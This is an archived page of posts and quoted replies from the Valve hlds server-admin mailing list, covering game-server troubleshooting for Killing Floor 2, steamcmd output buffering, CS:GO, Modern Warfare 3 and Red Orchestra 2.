Re: [hlds] [TWI Serveradmins] Killing Floor 2 Beta Server Hosting Open For All

2015-04-16 Thread Lane Eckley
It defaults to 27015 when you have the server running on the default game port. 
The ports also appear to increment together, if you increase the game port by 5 
the query port increases by 5.

You can also set the query port in the engine config, will post it up when I 
get back to the office as you have to add the line manually.

On 4/16/2015 6:50:06 PM, rd1...@cox.net  wrote:
Does anyone know what port killing floor 2 runs on so I can query the server is 
it the same as KF1 ?

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Re: [hlds] [TWI Serveradmins] Killing Floor 2 Beta Server Hosting Open For All

2015-04-16 Thread Lane Eckley
Something doesn't add up as we aren't seeing CPU usage anywhere near that high.

I double-checked a full server (6 players) running on an E3-1245 V2 and its 
using on average 1.2% CPU & 740MB of RAM. Looking over the CPU graphs I am 
seeing a peak of no more than 3%.

If you are seeing upwards of 12% on an E3-1270 V3 I am guessing either 
something is misconfigured or you are running your servers widely different 
from ours (which I rather doubt there is too much different).

-Lane
On 4/15/2015 9:19:32 PM, John  wrote:
If he only has a 2-core VDS on an E5-2690, 10% (20% normalized) CPU is not that 
far off. This indicates that the game is running reasonably well when 
virtualized.

Normalized usage on an otherwise empty bare-metal E3-1270v3 (a much faster 
processor) is around 12% for a full server at peak.

The memory usage for this game is currently more of a limiting factor than CPU. 
Both have already improved significantly in the beta.

-John

On 4/15/2015 5:38 PM, Lane Eckley wrote:

Honestly, that CPU usage looks really high even for an older E5 CPU.

On E3-1240 V2/V3 we are seeing less than half that, closer to 4% with 6 players.

On Wed, Apr 15, 2015 at 8:00 PM, mailto:rd1...@cox.net]> wrote:

http://x10.hosted.nfoservers.com/kf2.png 
[http://x10.hosted.nfoservers.com/kf2.png]
Xexon E5 2690 2.90GHz with 2Gb ram operating with 4 players I cant test the 
server since I dont have the game I would assume your doing an open beta before 
early access also.


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Re: [hlds] [TWI Serveradmins] Killing Floor 2 Beta Server Hosting Open For All

2015-04-15 Thread Lane Eckley
Honestly, that CPU usage looks really high even for an older E5 CPU.

On E3-1240 V2/V3 we are seeing less than half that, closer to 4% with 6
players.

On Wed, Apr 15, 2015 at 8:00 PM,  wrote:

> http://x10.hosted.nfoservers.com/kf2.png
> Xexon E5 2690 2.90GHz with 2Gb ram operating with 4 players I cant test
> the server since I dont have the game I would assume your doing an open
> beta before early access also.
>
>
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Re: [hlds] Unable script steamcmd due to output issues

2014-08-10 Thread Lane Eckley
Nope, there is both a Windows & Linux builds listed there in addition 
the sourcecode.


-Lane


Bubka3 <mailto:bub...@gmail.com>
August 10, 2014 at 8:43 PM
Isn't that tool Linux only? I assume hes running Windows since is the 
Win32 server mailing list...



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Lane Eckley <mailto:l...@staff.hypernia.com>
August 10, 2014 at 7:23 PM
http://didrole.com/UpdateTool/

No idea if its still actively developed, but it may be something for 
you to look at it.


-Lane
Steven Hartland <mailto:kill...@multiplay.co.uk>
August 10, 2014 at 11:25 AM
Digging around the issue could well be that stdout goes fully buffered
when stdout isn't a tty. When this happens the buffer size is apparently
1 page size so likely 4k, which ties in with what I've seen when piping
the output to a file for large downloads.

The fix could be as easy as adding the following to the code to enforce
line buffering of stdout:

setvbuf(stream, (char *)NULL, _IOLBF, 0);

This still doesn't explain the jumbled output.

   Regards
   Steve

- Original Message - From: "Steven Hartland" 

To: ; "Half-Life dedicated Win32 server mailing list" 


Sent: Sunday, August 10, 2014 3:29 PM
Subject: Re: [hlds] Unable script steamcmd due to output issues




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Steven Hartland <mailto:kill...@multiplay.co.uk>
August 10, 2014 at 10:29 AM
Actually it can often stall and take ages to process so being able to
monitor progress is key.

   Regards
   Steve

- Original Message - From: "Dominik Friedrichs" 
To: "Half-Life dedicated Win32 server mailing list" 


Sent: Sunday, August 10, 2014 1:09 PM
Subject: Re: [hlds] Unable script steamcmd due to output issues




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Dominik Friedrichs <mailto:d...@forlix.org>
August 10, 2014 at 8:09 AM
See also https://github.com/ValveSoftware/Source-1-Games/issues/352 as 
well as https://github.com/ValveSoftware/Source-1-Games/issues/1684


In my auto-update tool 
(http://forlix.org/gameaddons/srcds_manager.shtml) I use anonymous 
pipes to collect stdout and I simply gather everything steamcmd spits 
out, waiting for it to quit, then scan that string for "Success!".
I really dont see any point in monitoring the progress as updates 
rarely take more than a couple of minutes.





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Steven Hartland <mailto:kill...@multiplay.co.uk>
August 9, 2014 at 11:51 PM
I'm trying to script updates using steamcmd but I'm failing to
get it working due to some very strange behavour in the output
from the tool.

If you run steamcmd in a command prompt everything appears normal,
updates run and the output appears as it makes progress i.e.
line by line.

The problem occurs then either redirecting or capturing the
output from steamcmd (windows version).

First off you don't get the output as it happens, its delayed
until the command finishes or until there has been significant
output, which means you can't monitor for progress.

Next the output is jumbled with output that would display
early on when run in the console being output at the end.

Here's an example:

== Console Version ==
steamcmd +login anonymous +force_install_dir testdl +app_update 740 
validate +quit

Redirecting stderr to 'C:\games\steamcmd\logs\stderr.txt'
[  0%] Checking for available updates...
[] Verifying installation...
Steam Console Client (c) Valve Corporation
-- type 'quit' to exit --
Loading Steam3...[HTTP Remote Control] HTTP server listening on port 
27037.

OK.

Connecting anonymously to Steam Public...Logged in OK
Waiting for license info...OK
Initial App state (0x4) installed
App state (0x20104) validating, progress: 0.01 (1048576 / 8325235728)
App state (0x20104) validating, progress: 0.25 (20700190 / 8325235728)
...
App state (0x20104) validating, progress: 98.31 (8184364723 / 8325235728)
App state (0x20104) validating, progress: 99.82 (8310014438 / 8325235728)
Success! App '740' already up to date.

== Redirect to File ==
steamcmd +login anonymous +force_install_dir testdl +app_update 740 
validate +quit > out.txt

== out.txt ===
Steam Console Client (c) Valve Corporation
-- type 'quit' to exit --
Loading Steam3...

Re: [hlds] Unable script steamcmd due to output issues

2014-08-10 Thread Lane Eckley

http://didrole.com/UpdateTool/

No idea if its still actively developed, but it may be something for you 
to look at it.


-Lane

Steven Hartland 
August 10, 2014 at 11:25 AM
Digging around the issue could well be that stdout goes fully buffered
when stdout isn't a tty. When this happens the buffer size is apparently
1 page size so likely 4k, which ties in with what I've seen when piping
the output to a file for large downloads.

The fix could be as easy as adding the following to the code to enforce
line buffering of stdout:

setvbuf(stream, (char *)NULL, _IOLBF, 0);

This still doesn't explain the jumbled output.

   Regards
   Steve

- Original Message - From: "Steven Hartland" 

To: ; "Half-Life dedicated Win32 server mailing list" 


Sent: Sunday, August 10, 2014 3:29 PM
Subject: Re: [hlds] Unable script steamcmd due to output issues




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Steven Hartland 
August 10, 2014 at 10:29 AM
Actually it can often stall and take ages to process so being able to
monitor progress is key.

   Regards
   Steve

- Original Message - From: "Dominik Friedrichs" 
To: "Half-Life dedicated Win32 server mailing list" 


Sent: Sunday, August 10, 2014 1:09 PM
Subject: Re: [hlds] Unable script steamcmd due to output issues




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Dominik Friedrichs 
August 10, 2014 at 8:09 AM
See also https://github.com/ValveSoftware/Source-1-Games/issues/352 as 
well as https://github.com/ValveSoftware/Source-1-Games/issues/1684


In my auto-update tool 
(http://forlix.org/gameaddons/srcds_manager.shtml) I use anonymous 
pipes to collect stdout and I simply gather everything steamcmd spits 
out, waiting for it to quit, then scan that string for "Success!".
I really dont see any point in monitoring the progress as updates 
rarely take more than a couple of minutes.





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Steven Hartland 
August 9, 2014 at 11:51 PM
I'm trying to script updates using steamcmd but I'm failing to
get it working due to some very strange behavour in the output
from the tool.

If you run steamcmd in a command prompt everything appears normal,
updates run and the output appears as it makes progress i.e.
line by line.

The problem occurs then either redirecting or capturing the
output from steamcmd (windows version).

First off you don't get the output as it happens, its delayed
until the command finishes or until there has been significant
output, which means you can't monitor for progress.

Next the output is jumbled with output that would display
early on when run in the console being output at the end.

Here's an example:

== Console Version ==
steamcmd +login anonymous +force_install_dir testdl +app_update 740 
validate +quit

Redirecting stderr to 'C:\games\steamcmd\logs\stderr.txt'
[  0%] Checking for available updates...
[] Verifying installation...
Steam Console Client (c) Valve Corporation
-- type 'quit' to exit --
Loading Steam3...[HTTP Remote Control] HTTP server listening on port 
27037.

OK.

Connecting anonymously to Steam Public...Logged in OK
Waiting for license info...OK
Initial App state (0x4) installed
App state (0x20104) validating, progress: 0.01 (1048576 / 8325235728)
App state (0x20104) validating, progress: 0.25 (20700190 / 8325235728)
...
App state (0x20104) validating, progress: 98.31 (8184364723 / 8325235728)
App state (0x20104) validating, progress: 99.82 (8310014438 / 8325235728)
Success! App '740' already up to date.

== Redirect to File ==
steamcmd +login anonymous +force_install_dir testdl +app_update 740 
validate +quit > out.txt

== out.txt ===
Steam Console Client (c) Valve Corporation
-- type 'quit' to exit --
Loading Steam3...OK.

Connecting anonymously to Steam Public...Logged in OK
Waiting for license info...OK
Initial App state (0x4) installed
App state (0x20104) validating, progress: 0.02 (1441792 / 8325235728)
App state (0x20104) validating, progress: 0.44 (37029204 / 8325235728)
...
App state (0x20104) validating, progress: 98.53 (8203239091 / 8325235728)
App state (0x20104) validating, progress: 99.91 (8317981011 / 8325235728)
Success! App '740' already up to date.
[HTTP Remote Control] HTTP server listening on port 27037.
Redirecting stderr to 'C:\games\steamcmd\logs\stderr.txt'
[  0%] Checking for available updates...
[] Verifying installation...


I'm guessing steamcmd is doing something different when its

[hlds] CSGO Beta Servers

2012-08-01 Thread Lane Eckley
Hi Guys,



Anyone have a solution to the missing Steam libraries error on startup for
CS:GO beta servers other than installing Steam on the machine?



Thanks!



-Lane
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Re: [hlds] Merry Christmas!

2011-12-25 Thread Lane Eckley
Merry Christmas and Happy Holidays all!

 

Don’t drink too much :P

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is 
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individual or entity named above. If the reader of this message is not the 
intended recipient, you are hereby notified that any dissemination, 
distribution, or copying of this communication is strictly prohibited.  Thank 
you.

 

From: hlds-boun...@list.valvesoftware.com 
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Ant
Sent: Sunday, December 25, 2011 10:28 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Merry Christmas!

 

lol, i nearly got away with it :P

 

From: hlds-boun...@list.valvesoftware.com 
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DarthNinja
Sent: Sunday, 25 December 2011 2:46 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Merry Christmas!

 

You worship fabric?

On Sat, Dec 24, 2011 at 10:12 PM, Ant  wrote:

yeah I worship satin too

 

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Re: [hlds] [OT] Modern Warfare 3 server package broken or masters not up yet?

2011-11-07 Thread Lane Eckley
Hey Steve,

May I ask how you got it to read your server.cfg?

I can't for the life of me get it to read or if it is reading  to have the
settings take effect.

I also have the lan only issue.

Lane Eckley
Hypernia Hosting Corp
Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600
http://www.hypernia.com
l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
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individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited. 
Thank you.


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: Monday, November 07, 2011 3:38 PM
To: steve.gr...@gmail.com; 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] [OT] Modern Warfare 3 server package broken or masters
not up yet?

Steam.

Lane Eckley
Hypernia Hosting Corp
Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600
http://www.hypernia.com
l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited. Thank
you.


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of steve grout
Sent: Monday, November 07, 2011 2:55 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] [OT] Modern Warfare 3 server package broken or masters
not up yet?

How are you getting the files?  hldsupdatetool doesn't show it in the games
list though i thought it would be there by now!

On 07/11/2011 19:46, Steven Hartland wrote:
> Trying to test a MW3 servers here and I'm getting the following error 
> / warning:
> "No Steam Master Servers found. Server will LAN visible only."
>
> Does this mean there's a missing file or config option or that the 
> steam masters just aren't ready yet?
>
> Here's the full startup log:-
> version 1.2.358
> Connecting to online services
> Connected to online services.
> Executing server config "102537/server.cfg"
> Succeeded reading from default.dspl
> Loaded 5 map entries
> Loading DSR "TDEF_default.dsr"...
> Loading Succeeded for DSR "TDEF_default.dsr"
> ---
> Spawning map: mp_underground, gametype tdef Initializing Steam Game 
> Server: game port 28715, auth port 8766, query port 28717, gamedir 
> modernwarfare3, version 1.0.0.0 Steam Game Server initialized as 
> Internet Server.
> No Steam Master Servers found. Server will LAN visible only.
> Steam Game Server connected. Local IP 85.236.101.111, Public IP 
> 85.236.101.111, Game Port 28715 Steam Game Server is VAC Secure Spawn 
> map (mp_underground, tdef) complete.
> ---
>
>Regards
>Steve
>
> 
> This e.mail is private and confidential between Multiplay (UK) Ltd. 
> and the person or entity to whom it is addressed. In the event of 
> misdirection, the recipient is prohibited from using, copying, 
> printing or otherwise disseminating it or any information contained in 
> it.
> In the event of misdirection, illegible or incomplete transmission 
> please telephone +44 845 868 1337 or return the E.mail to 
> postmas...@multiplay.co.uk.
>
>
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Re: [hlds] [OT] Modern Warfare 3 server package broken or masters not up yet?

2011-11-07 Thread Lane Eckley
Steam.

Lane Eckley
Hypernia Hosting Corp
Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600
http://www.hypernia.com
l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
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individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited. 
Thank you.


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of steve grout
Sent: Monday, November 07, 2011 2:55 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] [OT] Modern Warfare 3 server package broken or masters
not up yet?

How are you getting the files?  hldsupdatetool doesn't show it in the games
list though i thought it would be there by now!

On 07/11/2011 19:46, Steven Hartland wrote:
> Trying to test a MW3 servers here and I'm getting the following error 
> / warning:
> "No Steam Master Servers found. Server will LAN visible only."
>
> Does this mean there's a missing file or config option or that the 
> steam masters just aren't ready yet?
>
> Here's the full startup log:-
> version 1.2.358
> Connecting to online services
> Connected to online services.
> Executing server config "102537/server.cfg"
> Succeeded reading from default.dspl
> Loaded 5 map entries
> Loading DSR "TDEF_default.dsr"...
> Loading Succeeded for DSR "TDEF_default.dsr"
> ---
> Spawning map: mp_underground, gametype tdef Initializing Steam Game 
> Server: game port 28715, auth port 8766, query port 28717, gamedir 
> modernwarfare3, version 1.0.0.0 Steam Game Server initialized as 
> Internet Server.
> No Steam Master Servers found. Server will LAN visible only.
> Steam Game Server connected. Local IP 85.236.101.111, Public IP 
> 85.236.101.111, Game Port 28715 Steam Game Server is VAC Secure Spawn 
> map (mp_underground, tdef) complete.
> ---
>
>Regards
>Steve
>
> 
> This e.mail is private and confidential between Multiplay (UK) Ltd. 
> and the person or entity to whom it is addressed. In the event of 
> misdirection, the recipient is prohibited from using, copying, 
> printing or otherwise disseminating it or any information contained in 
> it.
> In the event of misdirection, illegible or incomplete transmission 
> please telephone +44 845 868 1337 or return the E.mail to 
> postmas...@multiplay.co.uk.
>
>
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Re: [hlds] [OT] Modern Warfare 3 server package broken or masters not up yet?

2011-11-07 Thread Lane Eckley
Don’t believe the backend will be live until after launch due to piracy
issues from what I have read so far.

Lane Eckley
Hypernia Hosting Corp
Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600
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l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
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individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited. 
Thank you.


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Steven Hartland
Sent: Monday, November 07, 2011 2:46 PM
To: Half-Life dedicated Win32 server mailing list
Subject: [hlds] [OT] Modern Warfare 3 server package broken or masters not
up yet?

Trying to test a MW3 servers here and I'm getting the following error /
warning:
"No Steam Master Servers found. Server will LAN visible only."

Does this mean there's a missing file or config option or that the steam
masters just aren't ready yet?

Here's the full startup log:-
version 1.2.358
Connecting to online services
Connected to online services.
Executing server config "102537/server.cfg"
Succeeded reading from default.dspl
 Loaded 5 map entries
Loading DSR "TDEF_default.dsr"...
Loading Succeeded for DSR "TDEF_default.dsr"
---
Spawning map: mp_underground, gametype tdef Initializing Steam Game Server:
game port 28715, auth port 8766, query port 28717, gamedir modernwarfare3,
version 1.0.0.0 Steam Game Server initialized as Internet Server.
No Steam Master Servers found. Server will LAN visible only.
Steam Game Server connected. Local IP 85.236.101.111, Public IP
85.236.101.111, Game Port 28715 Steam Game Server is VAC Secure Spawn map
(mp_underground, tdef) complete.
---

Regards
Steve


This e.mail is private and confidential between Multiplay (UK) Ltd. and the
person or entity to whom it is addressed. In the event of misdirection, the
recipient is prohibited from using, copying, printing or otherwise
disseminating it or any information contained in it. 

In the event of misdirection, illegible or incomplete transmission please
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Re: [hlds] Max FPS

2011-10-16 Thread Lane Eckley
Advertise much?

 

-Lane

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Server.it -
Zelatech srl
Sent: Sunday, October 16, 2011 9:35 AM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Max FPS

 

Still have 1000fps for cs 1.6 and 100 for css on win 2008.

 

 

www.Server.it

 

 

From: Saul Rennison   

Sent: Sunday, October 16, 2011 3:32 PM

To: Half-Life dedicated Win32 server mailing list
  

Subject: Re: [hlds] Max FPS

Yeah, so you might want to remove "1000FPS" from your hostnames, now.


 

 

Kind regards,

Saul Rennison



On 16 October 2011 14:30, Cc2iscooL  wrote:

FPS is locked at 66 now. 

On Oct 16, 2011 8:27 AM, "Sachin Sud"  wrote:

Hi,

 

With this update fps_max does not work anymore. The fps is based on the
rates which we set on the server.

Can someone tell me what max fps getting along with rates they have set on
the server.

 

Thanks

Sachin Sud

 

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Re: [hlds] Latest Update Issues

2011-10-13 Thread Lane Eckley
You may want to mention which game J

 

Lane Eckley

Hypernia Hosting Corp

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Toll Free: 1.800.284.6978 ext. 600

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Thank you.

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of RSS List User
Sent: Friday, October 14, 2011 1:17 AM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Latest Update Issues

 

Hello,

I've been unable to get this update to work.

Connecting to 216.172.106.26:27015...
The server you are trying to connect to is running
an older version of the game.

Server has been updated with -verify_all flag as well.

Any ideas?

On 10/14/2011 1:06 AM, pilger wrote: 

It's nothing but stable.

I've been getting reports of synchronized crashes affecting a set of players
on my server and experienced it myself. It doesn't affect all players, but
it definitely affects more than one player at the same time and it crashes
the client back to OS without any warning or message.

It's frequent and it appears to be happening on other servers aswell, as i
have been told. Can't confirm that 100%, though.

I think it should have something to do with the item server as long as it is
a synchronized crash.




On Thu, Oct 13, 2011 at 10:52 PM, Fletcher Dunn
 wrote:

We have had stability problems with the item server and have been bouncing
the item server frequently, so all of the servers have been losing the
connection to the item server.

This should be stable now, though.  We might bounce it one or two more times
tonight.

The libsteam change was to fix the steam.log crash on startup problem.  This
lib plays a relatively minor role nowadays (most of the stuff is happening
in steamclient).

There will be a small client update to fix the most common client crash.  it
will not require updating servers.


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Drogen Viech
Sent: Thursday, October 13, 2011 6:01 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Latest Update Issues

Did valve just update ../orangebox/bin/libsteam.so? One guy in my
friendslist couldn't get his server running because of "Unable to
start steam support library -- This server will operate in LAN mode",
out of curiosity i restarted my server and
100.00% downloading ../orangebox/bin/libsteam.so
??
Also, i'm constantly loosing connection to the item server

2011/10/14 Nomaan Ahmad :
> Download server files on new a directory and work from there.
>
> On 14 October 2011 01:42, Cc2iscooL  wrote:
>>
>> Did you delete the blob files in the updater directory?
>>
>> On Oct 13, 2011 7:41 PM, "unrealized"  wrote:
>>>
>>> -verify_all is not functioning..  I deleted the bin folders and
>>> binaries, and it is not re-downloading any of them..
>>>
>>> No installation record found at .
>>> No installation record found at ./css
>>> Checking/Installing 'Counter-Strike Source Shared Content' version 117
>>>
>>>
>>> Checking/Installing 'Base Source Shared Models' version 4
>>>
>>>
>>> Checking/Installing 'Base Source Shared Sounds' version 4
>>>
>>>
>>> Checking/Installing 'Base Source Shared Materials' version 8
>>>
>>>
>>> Checking/Installing 'Counter-Strike Source Linux Dedicated Server'
>>> version 2
>>>
>>> 100.00% downloading ./css/bin/libsteam.so
>>>
>>> HLDS installation up to date
>>> CAsyncIOManager: 0 threads terminating.  0 reads, 0 writes, 0 deferrals.
>>> CAsyncIOManager: 102 single object sleeps, 0 multi object sleeps
>>> CAsyncIOManager: 0 single object alertable sleeps, 0 multi object
>>> alertable sleeps
>>>
>>>
>>> On Thu, Oct 13, 2011 at 5:36 PM, 1nsane <1nsane...@gmail.com> wrote:
>>> > Counter-Strike: Source Linux, Metamod and Sourcemod unchanged since
>>> > last
>>> > update and everything is running fine.
>>> >
>>> > On Thu, Oct 13, 2011 at 8:18 PM, Jonathan Zakay 
>>> > wrote:
>>> >>
>>> >> Disabled MM and the servers are running fine now, I take it that
MM/SM
>&g

Re: [hlds] RO2 server not showing in game browser - accessible through console.

2011-09-16 Thread Lane Eckley
You bet!

 

To that end, I wish we could set the query port too! Would make things a
little easier to track and to make sure things never clash.

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošic
Sent: Friday, September 16, 2011 5:28 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

Quick update.

 

Ports were clashing as Lane said J, however I wonder how is that possible
with tcadmin "monitoring" that J
Anyway, an interesting phrase on tripwire forums:

"Steam Port: by default this is 27015. If you change the Game Port this port
is automatically updated. You can calculate your Steam port like this: Steam
Port = 27015 +  - "

 

Lane, thanks for the heads up.

 

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Support engineer
Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošić
Sent: Friday, September 16, 2011 11:13 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

Thanks for trying it out.
Yes we do use tcadmin, and as you already mentioned it should handle it J

Anyway, the query port is already changed to 7778, whitelisted in firewall
along with app.

Will let you know how this ended.

 

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Support engineer
Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: Friday, September 16, 2011 11:10 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

I have confirmed its not in the lobby or showing under recently played once
joined via IP.

 

As you have it running on  I believe the query port should be 27015, but
as you have another game servers running on that port I am going to guess
you may be having a port conflict issue.

 

If you are using TCAdmin, it should be handling it though.

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošic
Sent: Friday, September 16, 2011 5:01 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

Server ip : 194.116.187.165:
Server name : Diabolic-servers.com - Firefight

 

Thanks in advance,

 

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: Friday, September 16, 2011 10:29 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

What's the server name and IP - will see if I can see it.

 

We have had some issues where one person could see it and others couldn't
during the beta, guessing it's still there.

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> ht

Re: [hlds] RO2 server not showing in game browser - accessible through console.

2011-09-16 Thread Lane Eckley
I have confirmed its not in the lobby or showing under recently played once
joined via IP.

 

As you have it running on  I believe the query port should be 27015, but
as you have another game servers running on that port I am going to guess
you may be having a port conflict issue.

 

If you are using TCAdmin, it should be handling it though.

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošic
Sent: Friday, September 16, 2011 5:01 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

Server ip : 194.116.187.165:
Server name : Diabolic-servers.com - Firefight

 

Thanks in advance,

 

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: Friday, September 16, 2011 10:29 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

What's the server name and IP - will see if I can see it.

 

We have had some issues where one person could see it and others couldn't
during the beta, guessing it's still there.

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošic
Sent: Friday, September 16, 2011 4:26 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

I need my coffee. so many grammar mistakes.
Anyway any input is appreciated.

 

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošić
Sent: Friday, September 16, 2011 10:14 AM
To: hlds@list.valvesoftware.com
Subject: [hlds] RO2 server not showing in game browser - accessible through
console.

 

Does anyone have any input why newly created game server is not showing in
game or steam browser?
What's even more insane I can connect to it my executing open
xxx.xxx.xxx.xxx while using in-game console.

The command line used to start the game server is as follows:

rogame.exe FF-Barracks?MinPlayers=0?MaxPlayers=32 -seekfreeloadingserver
-multihome=xxx.xxx.xxx.xxx -port= -log=ServerLog.log


Any input is appreciated.

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

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Re: [hlds] RO2 server not showing in game browser - accessible through console.

2011-09-16 Thread Lane Eckley
What's the server name and IP - will see if I can see it.

 

We have had some issues where one person could see it and others couldn't
during the beta, guessing it's still there.

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

